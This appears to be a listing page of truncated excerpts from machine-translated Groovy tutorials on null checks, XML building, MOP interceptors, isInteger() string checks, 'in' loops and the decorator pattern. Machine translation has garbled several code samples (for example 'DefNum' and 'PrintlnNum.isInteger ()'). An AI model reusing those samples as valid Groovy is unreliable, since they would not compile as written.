For a domain class object, as in the following example: class Empl { 　　　　String name } We need to manipulate it, such as printing the value of the "name" attribute, and we first have to make a non-empty judgment on it, as follows: def em 　　if(em) 　　{ 　　　 println"name: $em.name" 　　} 　　em = new Empl() 　　em.name = 'Tom' 　　if(em) 　　{ 　　　 println"name: $em.name" } Obviously, if you do not do non-null judgment, then the first println statement throws a exception, makes the judgment, then does not

The previous article describes how to parse an XML file using groovy, and this article describes how to generate an XML file. Like parsing XML, groovy also offers two ways to Markupbuilder and Streamingmarkupbuilder. Generally speaking, Streamingmarkupbuilder is more professional and more complete in function. Their differences are somewhat similar to Dom and sax, which means that processing large XML files

Exploration of groovy mop 10 interceptor 2 In this series of "explore groovy mop nine interceptor 1", we have introduced in detail all aspects of a simple interceptor class, so that we have a preliminary foundation of the interceptor. In this article, we need to use the interceptor class to implement our AOP programming on the basis of the previous interceptor class. First, in the first part of this serie

In the Groovy language, the system has APIs to help us directly do this, which is quite simple. For example, to determine whether a string is of the int type, you only need to write the following code: DefNum = '23' PrintlnNum. isInteger () The running result is: True The following code is used: DefNum1 = '2. 3' PrintlnNum1.isInteger () The running result is: False Similar methods include:isDouble(),isFloat(),isLong(),isNumber(),isBigDecima

Speaking of the "in" keyword is rarely used in the Java language because it is introduced later, i.e. the JDK5 enhanced for loop. The groovy language also retains this functionality so that we can write code similar to the following: def list = [1,2,3] 　　　　　 for(i in list) 　　　　　 { 　　　　　　　　 println i 　　　　　 } The results of the operation are: 1 2 3 This enhanced for loop can also be used on loops on the map, such as: def map = [a:"1",b:"2"]

Decorate model believes that we are familiar with, is a "bangoffour" in one of the most commonly used mode, the realization is quite simple. If someone is unfamiliar, take a look at the decorate model of groovy exploration, which has an example to follow in this article. This example is a classic example of coffee in a café, coffee with original coffee, and a variety of additions depending on the taste of the customer, such as ice, milk, sugar, and s
